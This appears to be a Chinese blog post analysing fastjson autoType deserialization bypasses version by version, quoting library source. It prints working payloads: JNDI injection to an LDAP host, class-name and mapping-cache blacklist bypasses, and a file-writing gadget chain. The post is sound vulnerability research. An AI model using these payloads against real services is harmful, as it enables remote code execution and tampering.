关于fastjson漏洞复现的一些思考
前言
这周因为准备蚂蚁非攻实验室的缘故,临时抱了下fastjson的佛脚,发现其实fastjson这个洞的绕过思路十分有意思,在这里详细记录下自己分析的思路。
环境
- jdk8,jdk11
- fastjson 1.2.22,1.2.43,1.2.47,1.2.68
- osx 14.6 idea调试环境
fastjson反序列化机制简介
autoType机制,简单地来说就是存在任意类反序列化的机制,即**@Type标签,遇到@Type标签,调用TypeUtils.loadClass**来加载任意类。
因为使用newInstance方法实例化类,所以要求被实例化的类有默认构造器。
遇到属性名xxx调用,setXxx方法来设置对应属性的值。
几个大版本的绕过思路
版本小于1.2.24时
1
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://10.211.55.2:8000/Test","autoCommit":true}
这个思路不难理解,就是普通的针对com.sun.rowset.JdbcRowSetImpl的jndi注入利用,即利用JdbcRowSetImpl的setAautoCommit方法实现jndi注入。
版本小于1.2.41时,针对处理逻辑的缺陷绕过
先跑下原来的poc
发现在代码层面使用checkAutoType方法来进行检测,默认关闭AutoType的同时,使用黑名单的手段来检测恶意类。
因为在jvm中class可以表示为Lcom.xxx.xxx;**的形式,而在TypeUtils.loadClass中,处理了L和;**
1
2
3
4
5
6
7
8if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}在class值前加两个特殊符号即可。
版本等于1.2.42和等于1.2.43时的情况,再次针对处理逻辑漏洞的绕过。
使用黑名单加hash来提高分析的难度
另外一块是在检测黑名单前,做了一次数据的清洗。
1
2
3
4
5
6
7
8if ((((BASIC
^ className.charAt(0))
* PRIME)
^ className.charAt(className.length() - 1))
* PRIME == 0x9198507b5af98f0L)
{
className = className.substring(1, className.length() - 1);
}那么绕过的思路就是双写L和**;**
该版本的poc
1
{"rand":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://10.211.55.2:8000/Test","autoCommit":true}}";
在1.2.43版本中增加了对这种绕过方式的过滤,该版本的绕过利用了fastjson针对数组的解析,同样也是利用了TypeUtils的loadClass方法的缺陷。
1
{"@type":"[com.sun.rowset.JdbcRowSetImpl"[{"dataSourceName":"ldap://10.211.55.2:8000/Test","autoCommit":true}
版本小于1.2.47时,存在利用mapping的绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40//针对L;和双写L;的清洗
final long h3 = ahashnum;
if (autoTypeSupport || expectClass != null) {
long hash = h3;
for (int i = 3; i < className.length(); ++i) {
hash ^= className.charAt(i);
hash *= PRIME;
if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {
clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);
if (clazz != null) {
return clazz;
}
}
if (Arrays.binarySearch(denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null) {
throw new JSONException("autoType is not support. " + typeName);
}
}
}
if (clazz == null) {
clazz = TypeUtils.getClassFromMapping(typeName);
}
if (clazz == null) {
clazz = deserializers.findClass(typeName);
}
if (clazz != null) {
if (expectClass != null
&& clazz != java.util.HashMap.class
&& !expectClass.isAssignableFrom(clazz)) {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
return clazz;
}
//暂时用不到由于默认关闭autoType直接跳过白黑名单校验,会直接从Mapping中加载class。
而TypeUtils里面,当cache为true时,将加载到的class放入mapping中,由于这里cache默认为true所以,可以先将恶意类加载到Mapping中再实例化的方式来绕过黑名单。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49public static Class<?> loadClass(String className, ClassLoader classLoader, boolean cache) {
if(className == null || className.length() == 0){
return null;
}
Class<?> clazz = mappings.get(className);
if(clazz != null){
return clazz;
}
if(className.charAt(0) == '['){
Class<?> componentType = loadClass(className.substring(1), classLoader);
return Array.newInstance(componentType, 0).getClass();
}
if(className.startsWith("L") && className.endsWith(";")){
String newClassName = className.substring(1, className.length() - 1);
return loadClass(newClassName, classLoader);
}
try{
if(classLoader != null){
clazz = classLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
e.printStackTrace();
// skip
}
try{
ClassLoader contextClassLoader = Thread.currentThread().getContextClassLoader();
if(contextClassLoader != null && contextClassLoader != classLoader){
clazz = contextClassLoader.loadClass(className);
if (cache) {
mappings.put(className, clazz);
}
return clazz;
}
} catch(Throwable e){
// skip
}
try{
clazz = Class.forName(className);
mappings.put(className, clazz);
return clazz;
} catch(Throwable e){
// skip
}
return clazz;
}poc:
1
{"a": {"@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl"}, "b": {"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://10.211.55.2:8000/Test", "autoCommit": true}}"
1.2.68以前,利用继承机制无视禁用,这里环境需要在jdk11下才可以实现利用。
主要的问题在parseConfig.java中,当clazz是expectClass的实现的时候,那么就会把clazz加入mapping
1
2
3
4
5
6
7
8if (expectClass != null) {
if (expectClass.isAssignableFrom(clazz)) {
TypeUtils.addMapping(typeName, clazz);
return clazz;
} else {
throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());
}
}验证性质poc(这个poc后续的细节下篇文章再继续分析)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20{
"@type": "java.lang.AutoCloseable",
"@type": "sun.rmi.server.MarshalOutputStream",
"out": {
"@type": "java.util.zip.InflaterOutputStream",
"out": {
"@type": "java.io.FileOutputStream",
"file": "/tmp/asdasd",
"append": true
},
"infl": {
"input": {
"array": "eJxLLE5JTCkGAAh5AnE=",
"limit": 14
}
},
"bufLen": "100"
},
"protocolVersion": 1
}值得一提的是,如果1.2.68版本以后开启safeMode之后将完全禁用autoType这个特性。
总结
这篇文章以jndi注入的poc为例,展示了一些fastjson安全机制的演进,从利用解析逻辑绕过黑名单,利用缓存机制加载恶意类,最终的通过派生类绕过checkAutoType,不得不说能够从前人的工作中获得不少启示。下篇文章打算分析下上文的poc和另外的一些gadata Chain。